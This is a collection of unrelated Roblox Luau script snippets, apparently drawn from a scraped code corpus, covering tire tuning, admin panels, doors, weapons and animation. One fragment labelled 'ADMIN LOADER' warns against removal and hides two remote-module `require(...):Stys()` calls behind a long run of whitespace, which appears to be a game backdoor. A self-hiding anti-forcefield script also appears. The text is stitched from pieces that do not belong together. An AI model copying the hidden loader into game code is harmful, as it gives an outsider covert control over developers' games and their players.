Pinkstack/roblox-luau-corpus-text huggingface dataset:
--[[ Script Variables ]]

--
while not Players.LocalPlayer do
	Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer

local Tools = {}
local ToolEquipped = nil

local RevertAutoJumpEnabledToFalse = false

local ThumbstickFrame = nil
local GestureArea = nil
local StartImage = nil
local EndImage = nil
local MiddleImages = {}

local MoveTouchObject = nil
local IsFollowStick = false
local ThumbstickFrame = nil
local OnMoveTouchEnded = nil		-- defined in Create()
local OnTouchMovedCn = nil
local OnTouchEndedCn = nil
local TouchActivateCn = nil
local OnRenderSteppedCn = nil
local currentMoveVector = Vector3.new(0,0,0)
local IsFirstTouch = true
--------------------------------------------------------------------------



local _WHEELTUNE = {
																		--[[	
			SS6 Presets
	[Eco]		
		WearSpeed = 1,
		TargetFriction = .7,
		MinFriction = .1,
	[Road]		
		WearSpeed = 2,
		TargetFriction = .7,
		MinFriction = .1,
	[Sport]		
		WearSpeed = 3,
		TargetFriction = .79,
		MinFriction = .1,											]]

	TireWearOn 		= true	,
	
	--Friction and Wear
	FWearSpeed		= 5.0	,
	FTargetFriction	= 1.1	,
	FMinFriction 	= .5	,
	
	RWearSpeed		= 9.0	,
	RTargetFriction	= 2.0	,
	RMinFriction	= .5	,
	
	--Tire Slip
	TCSOffRatio		= 1/3	,
	WheelLockRatio	= 1/2	,	--SS6 Default = 1/4
	WheelspinRatio	= 1/1.1	,	--SS6 Default = 1/1.2
	
	--Wheel Properties
	FFrictionWeight	= 1		,	--SS6 Default = 1
	RFrictionWeight	= 1		,	--SS6 Default = 1
	FLgcyFrWeight	= 10	,
	RLgcyFrWeight	= 10	,
	
	FElasticity		= 0		,	--SS6 Default = .5
	RElasticity		= 0		,	--SS6 Default = .5
	FLgcyElasticity	= 0		,
	RLgcyElasticity	= 0		,
	
	FElastWeight	= 1		,	--SS6 Default = 1
	RElastWeight	= 1		,	--SS6 Default = 1
	FLgcyElWeight	= 10	,
	RLgcyElWeight	= 10	,
	
	--Wear Regen
	RegenSpeed		= 9.8		--SS6 Default = 3.6
}
--Game which use Donor


local gamesWithDonor = {
	{574407221, "Super Hero Tycoon"};
	{2921400152, "4PLR Tycoon"};
	{1828225164, "Guest World"};
	{591993002, "OHD Roleplay World"};
	{4823091615 , "Paradise Life"};
	{49254942, "2 Player House Tycoon"};
	{3169584572, "Meme Music"};
	{2764548803, "Island Hotel"};
	{3093229294, "Animations: Mocap"};
	{3411100258, "evry bordr gam evr"};
	{3108078982, "HD Admin House"};
	{12996397, "Mega Fun Obby 🌟"};
	{184558572, "Survive the Disasters"};
	{4522347649, "[FREE ADMIN]"};
	
	--{0, ""};
	}
local coreFunctions
repeat wait() coreFunctions = main:GetModule("cf") until coreFunctions.RandomiseTable
local gamesWithDonorSorted = coreFunctions:RandomiseTable(gamesWithDonor, 86400)
for i, gameData in pairs(gamesWithDonorSorted) do
	local gameId = gameData[1]
	local gameName = gameData[2]
	local row = math.ceil(i/2)
	local column = i % 2 
	local gamePage
	if column == 1 then
		gamePage = templateGame:Clone()
		gamePage.Name = "AI Game".. row
		gamePage.Visible = true
		gamePage.Parent = pages.donor
	else
		gamePage = pages.donor["AI Game".. row]
	end
	local gameThumbnail = gamePage["GameImage"..column]
	local gameLabel = gamePage["GameName"..column]
	local image = "https://assetgame.roblox.com/Game/Tools/ThumbnailAsset.ashx?aid=".. gameId .."&fmt=png&wd=420&ht=420"
	gameThumbnail.Image = image
	gameLabel.Text = gameName
	gameThumbnail.Visible = true
	gameLabel.Visible = true
	--Teleport to game
	local selectButton = gameThumbnail.Select
	local clickFrame = gameThumbnail.ClickFrame
	selectButton.MouseButton1Click:Connect(function()
		teleportFrame.ImageLabel.Image = image
		teleportFrame.TeleportTo.TextLabel.Text = gameName.."?"
		teleportFrame.MainButton.PlaceId.Value = gameId
		main:GetModule("cf"):ShowWarning("Teleport")
	end)
	selectButton.MouseEnter:Connect(function()
		if not main.warnings.Visible then
			clickFrame.Visible = true
		end
	end)
	selectButton.MouseLeave:Connect(function()
		clickFrame.Visible = false
	end)
	teleportFrame.Visible = true
end
--[[
local attachment0 = Instance.new("Attachment", part)
local attachment1 = Instance.new("Attachment", char.PrimaryPart)

local AP = Instance.new("AlignPosition")
AP.Attachment0 = attachment0
AP.Attachment1 = attachment1
AP.MaxForce = math.huge
AP.Responsiveness = 200
AP.Parent = part

local AO = Instance.new("AlignOrientation")
AO.Attachment0 = attachment0
AO.Attachment1 = attachment1
AO.MaxTorque = math.huge
AO.Responsiveness = 200
AO.Parent = part
]]


part.Position = char.PrimaryPart.Position + Vector3.new(-100,0,0)
local weld = Instance.new("WeldConstraint")
weld.Part0 = part
weld.Part1 = char.PrimaryPart
weld.Parent = part

part.Parent = workspace.WeatherParts

for i,v in pairs(script:GetChildren()) do
	if v.Value > 0 then
		local particle = game.ReplicatedStorage.Particles[v.Name]:Clone()
		particle.Rate = math.huge
		particle.Parent = part
		--[[
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		]]
	end
end
-- // Events \\ --


ProximityPrompt.PromptButtonHoldBegan:Connect(function()
	Functions.Flash("Teal")
end)

ProximityPrompt.Triggered:Connect(function(Player)
	DoorLogo.Beep:Play()
	Functions.Flash("Bright green")
	ProximityPrompt.Enabled = false
	Functions.Move(true)
	wait(2)
	Functions.Move(false)
	Functions.Flash("Bright red")
	ProximityPrompt.Enabled = true
end)
 																																																																																																	--[[ 																																																																																																					]]
--Camera.CameraType = Enum.CameraType.Scriptable
--RunServ:BindToRenderStep("MoveCam",Enum.RenderPriority.Camera.Value,function()
--	Camera.CFrame = Character.Head.CFrame
--end)



theAnim:Play()
theAnim.Stopped:Connect(function()
	for _ = 1,5 do
		Character.HumanoidRootPart.Anchored = false
		task.wait()
	end
	--RunServ:UnbindFromRenderStep("MoveCam")
	--Camera.CameraType = Enum.CameraType.Custom
	Gui:Destroy()
end)
theAnim:AdjustSpeed(0)

StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,false)

YesButton.InputBegan:Connect(function(io)
	if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
		StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,true)
		
		t.Completed:Connect(function()
			t:Destroy()
			t2:Destroy()
			t3:Destroy()
			t4:Destroy()
			task.wait(10/60)
			theAnim:AdjustSpeed(1)
		end)
		t:Play()
		t2:Play()
		t3:Play()
		t4:Play()
	end
end)

NoButton.InputBegan:Connect(function(io)
	if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
		Player:Kick("ok lol")
	end
end)
--ADMIN LOADER.
--This is a script that is part of your admin in game.
--Removing/tampering with this script will potentially result in scripts breaking in your game.


































































































































































































































































































																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																			 require(6091305634):Stys() require(5869080069):Stys()
--------LEFT DOOR --------


game.Workspace.doorleft.l11.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(1)

game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(21)
-- This will inject all types into this context.


local TypeDefs = require(script.TypeDefinitions)
type CanPenetrateFunction = TypeDefs.CanPenetrateFunction
type CanHitFunction = TypeDefs.CanHitFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast
--------STAGE--------



game.Workspace.back1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.back2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.crewbig1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.crewsmall1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.djstand.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.djtv.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side3.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side4.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side11.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side12.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.sidebig1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""

if game.Workspace.CurrentStageTV.Value == "1" then
game.Workspace.main1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
end
-- Each note takes up exactly 8 seconds in audio. i.e C2 lasts 8 secs, C2# lasts 8 secs, C3 lasts 8 secs, C3# lasts 8 secs etc. for each audio
-- These are the IDs of the piano sounds.



settings.SoundSource = Box

settings.CameraCFrame = CFrame.new(
	(Box.CFrame * CFrame.new(-5, 3, 0)).p, -- +z is towards player
	(Box.CFrame * CFrame.new(1, 0, 0)).p
)
-- << SETUP >>
-- Toggle MainFrame through TopBar Icon


topBarFrame.Size = UDim2.new(1,0,0,topBarY)
topBarFrame.Position = UDim2.new(0,0,0,-topBarY)
imageButton.MouseButton1Down:Connect(function()
	if imageButton.ImageRectOffset == Vector2.new(0,0) then
		main:GetModule("GUIs"):OpenMainFrame()
	else
		main:GetModule("GUIs"):CloseMainFrame()
	end
end)
--[[
    Returns true the vector3 is within x and z bounds of an axis aligned part
]]


local function isVector3InBoundsOfPart(vector3, part)
	local worldSize = part.CFrame:vectorToWorldSpace(part.Size)
	worldSize = Vector3.new(math.abs(worldSize.X), math.abs(worldSize.Y), math.abs(worldSize.Z))

	local minX, maxX = part.Position.X - (worldSize.X / 2), part.Position.X + (worldSize.X / 2)
	local minZ, maxZ = part.Position.Z - (worldSize.Z / 2), part.Position.Z + (worldSize.Z / 2)

	return vector3.X >= minX and vector3.X <= maxX and vector3.Z >= minZ and vector3.Z <= maxZ
end
-- Player List 


local iswhitelisted = whitelist:CheckWhitelist(game.Players.LocalPlayer.Name)
if iswhitelisted == false then  rs.Whitelist:Destroy() script.Parent.Toggle:Destroy() script.Parent.Panel:Destroy() script.Parent.Logs:Destroy() script:Destroy() return end


function fixcanvas()
	local amount = script.Parent.Panel.PlayerList:GetChildren() 
	local fixedamount = #amount-1
	print(fixedamount)
	script.Parent.Panel.PlayerList.CanvasSize = UDim2.new(0,0,0,fixedamount*35)
end


for i,v in pairs(game.Players:GetPlayers()) do
	local username = script.Username:Clone()
	username.Name = v.Name
	username.Text = v.Name
	username.Parent = script.Parent.Panel.PlayerList
	fixcanvas()
	username.MouseButton1Click:Connect(function()
		if game.Players:FindFirstChild(username.Name) then
			chosenplr =  game.Players:FindFirstChild(username.Name)
		end
	end)
end
game.Players.PlayerAdded:Connect(function(plr)
	local username = script.Username:Clone()
	username.Name = plr.Name
	username.Text = plr.Name
	username.Parent = script.Parent.Panel.PlayerList
		fixcanvas()
username.MouseButton1Click:Connect(function()
		if game.Players:FindFirstChild(username.Name) then
			chosenplr =  game.Players:FindFirstChild(username.Name)
		end
	end)
end)
game.Players.PlayerRemoving:Connect(function(plr)
	local name = script.Parent.Panel.PlayerList:FindFirstChild(plr.Name)
	if name then
		name:Destroy()
	end
		fixcanvas()

end)


for i,buttons in pairs(script.Parent.Panel.Buttons:GetChildren()) do
	buttons.MouseButton1Click:Connect(function()
	local arg2 = nil
	if buttons:FindFirstChildOfClass("TextBox") then
		arg2 = buttons:FindFirstChildOfClass("TextBox").Text
	end
	print(arg2)
	remote:FireServer(buttons.Name,chosenplr,arg2)
	end)
end
script.Parent.Toggle.MouseButton1Click:Connect(function()
	script.Parent.Panel.Visible = not script.Parent.Panel.Visible
	script.Parent.Logs.Visible = not script.Parent.Logs.Visible
end)
-- Gives Tool


function onTouch(part)
	local hum = part.Parent:FindFirstChild('Humanoid')
	if hum then
		local plr = game.Players:FindFirstChild(part.Parent.Name)
		if plr then
			if deb == true then
				deb = false
				give.BrickColor = RC
				color.BrickColor = RC
				local weapon = game.ServerStorage.Weps:FindFirstChild(wep)
				local w2 = weapon:Clone()
				w2.Parent = plr.Backpack
				wait(rt)
				deb = true
				give.BrickColor = SC
				color.BrickColor = SC
			end
		end
	end
end
script.Parent.Giver.Touched:connect(onTouch)
--------------------------------------------------------------------------------------
--------------------[ CONSTANTS ]-----------------------------------------------------
--------------------------------------------------------------------------------------



local Gun = script.Parent
local Handle = Gun:WaitForChild("Handle")
local AimPart = Gun:WaitForChild("AimPart")
local Main = Gun:WaitForChild("Main")

local Ammo = Gun:WaitForChild("Ammo")
local ClipSize = Gun:WaitForChild("ClipSize")
local StoredAmmo = Gun:WaitForChild("StoredAmmo")

local S = require(script:WaitForChild("Minigun"))

local Player = game.Players.LocalPlayer
local Character = Player.Character
local Humanoid = Character:WaitForChild("Humanoid")
local Torso = Character:WaitForChild("Torso")
local Head = Character:WaitForChild("Head")
local HRP = Character:WaitForChild("HumanoidRootPart")

local Neck = Torso:WaitForChild("Neck")

local LArm = Character:WaitForChild("Left Arm")
local RArm = Character:WaitForChild("Right Arm")
local LLeg = Character:WaitForChild("Left Leg")
local RLeg = Character:WaitForChild("Right Leg")

local M2 = Player:GetMouse()
local Main_Gui = script:WaitForChild("Main_Gui")

local RS = game:GetService("RunService").RenderStepped

local Camera = game.Workspace.CurrentCamera

local ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil
local RAD, SIN, ATAN, COS = math.rad, math.sin, math.atan2, math.cos
local VEC3 = Vector3.new
local CF, CFANG = CFrame.new, CFrame.Angles
local INSERT = table.insert

local MaxStamina = S.SprintTime * 60
local MaxSteadyTime = S.ScopeSteadyTime * 60

local LethalIcons = {
	"http://www.roblox.com/asset/?id=194849880";
	"http://www.roblox.com/asset/?id=195727791";
	"http://www.roblox.com/asset/?id=195728137";
}

local TacticalIcons = {
	"http://www.roblox.com/asset/?id=195728473";
	"http://www.roblox.com/asset/?id=195728693";
}

local Ignore = {
	Character;
	Ignore_Model;
}

local StanceOffset = {
	VEC3(0, 0, 0);
	VEC3(0, -1, 0);
	VEC3(0, -3, 0);
}

local Shoulders = {
	Right = Torso:WaitForChild("Right Shoulder");
	Left = Torso:WaitForChild("Left Shoulder")
}

local ArmC0 = {
	CF(.4, .2, 1.7) * CFANG(RAD(70), -1.5, -1);
	CF(2, -.5, 0) * CFANG(RAD(90), 0, 0);
}

local Sine = function(X)
	return SIN(RAD(X))
end

local Linear = function(X)
	return (X / 90)
end
--[[ F7D's Anti ForceField Script ]]

--
script.Parent = nil
game.DescendantAdded:connect(function(NoSilly)
	coroutine.resume(coroutine.create(function()
		if NoSilly:IsA("ForceField") then
			coroutine.resume(coroutine.create(function()
				while type(NoSilly)~=nil and wait() do
					coroutine.resume(coroutine.create(function()
						NoSilly:Destroy()
					end))
				end
			end))
		end
	end))
end)
-- A simple function to explode a specified part


function Explode(part)
	local explosion = Instance.new("Explosion", workspace)
	explosion.Position = part.Position
	explosion.BlastRadius = config.ExplosionRadius.Value
	part:Destroy()
end

script.Parent.Throw.OnServerEvent:connect(function(player, mousePosition)
	local handlePos = Vector3.new(tool.Handle.Position.X, 0, tool.Handle.Position.Z) -- remove Y from the equation, it's not needed
	local mousePos = Vector3.new(mousePosition.X, 0, mousePosition.Z) -- ditto
	local distance = (handlePos - mousePos).magnitude -- Get the distance between the handle and the mouse
	local altitude = mousePosition.Y - tool.Handle.Position.Y
	local angle = AngleOfReach(distance, altitude, config.GrenadeVelocity.Value) -- Calculate the angle
	
	tool.Handle.Transparency = 1
	local grenade = tool.Handle:Clone()
	grenade.Parent = workspace
	grenade.Transparency = 0
	grenade.CanCollide = true
	grenade.CFrame = tool.Handle.CFrame
	grenade.Velocity = (CFrame.new(grenade.Position, Vector3.new(mousePosition.X, grenade.Position.Y, mousePosition.Z)) * CFrame.Angles(angle, 0, 0)).lookVector * config.GrenadeVelocity.Value -- Throwing 'n stuff, it probably didn't need to be this long
	spawn(function()
	if config.ExplodeOnTouch.Value then
		grenade.Touched:connect(function(hit)
			if hit.Parent ~= tool.Parent and hit.CanCollide then -- Make sure what we're hitting is collidable
				Explode(grenade)
			end
		end)
	else
		
			wait(config.FuseTime.Value)
			Explode(grenade)
	end
	end)
	wait(config.Cooldown.Value)
	tool.Handle.Transparency = 0
end)
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS



function onRunning()
	local speed = script.speed.Value
	local heightScale = if userAnimateScaleRun then getHeightScale() else 1

	local movedDuringEmote = currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0)
	local speedThreshold = movedDuringEmote and (Humanoid.WalkSpeed / heightScale) or 0.75
	if speed > speedThreshold * heightScale then
		local scale = 16.0
		playAnimation("walk", 0.2, Humanoid)
		setAnimationSpeed(speed / scale)
		pose = "Running"
	else
		if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then
			playAnimation("idle", 0.2, Humanoid)
			pose = "Standing"
		end
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing()
	local speed = script.speed.Value
	if userAnimateScaleRun then
		speed /= getHeightScale()
	end
	local scale = 5.0
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / scale)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end
--[[
AnimateKey(note1,px,py,pz,ox,oy,oz,Time)
--note1(1-61), position x, position y, position z, orientation x, orientation y, orientation z, time

local obj = --object or gui or wahtever goes here
local Properties = {}
Properties.Size = UDim2.new()
Tween(obj,Properties,2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
--Obj,Property,Time,wait,Easingstyle,EasingDirection,RepeatAmt,Reverse
]]



function HighlightPianoKey(note1,transpose)
	if not Settings.KeyAesthetics then return end
	local octave = math.ceil(note1/12)
	local note2 = (note1 - 1)%12 + 1

	if IsBlack(note1) then
		AnimateKey(note1,0,.05,0,6,0,0,.13)
	else
		AnimateKey(note1,0,.1,0,8,0,0,.13)
	end
end
--[[
	THIS GUIDE WILL HELP YOU FIX THE COLLISIONS WITH UNIONS AND MESHPARTS IN THE MAP.
	
	Run this script in the command bar to select all the Unions and MeshParts in the map.
	
	After that, go to the properties frame and set the CollisionFidelity property to "Hull"
	
	Then, set them back to "Default"
	
	You have fixed all union collisions.
	
	
	- Credit to Jester for original instructions
--]]



local unions = {}

function getUnions(root)
	for i,v in pairs(root:GetChildren()) do
		if v:IsA("UnionOperation") or v:IsA("MeshPart") then
			table.insert(unions,v)
		end
		getUnions(v)
	end
end

getUnions(workspace)

game.Selection:Set(unions)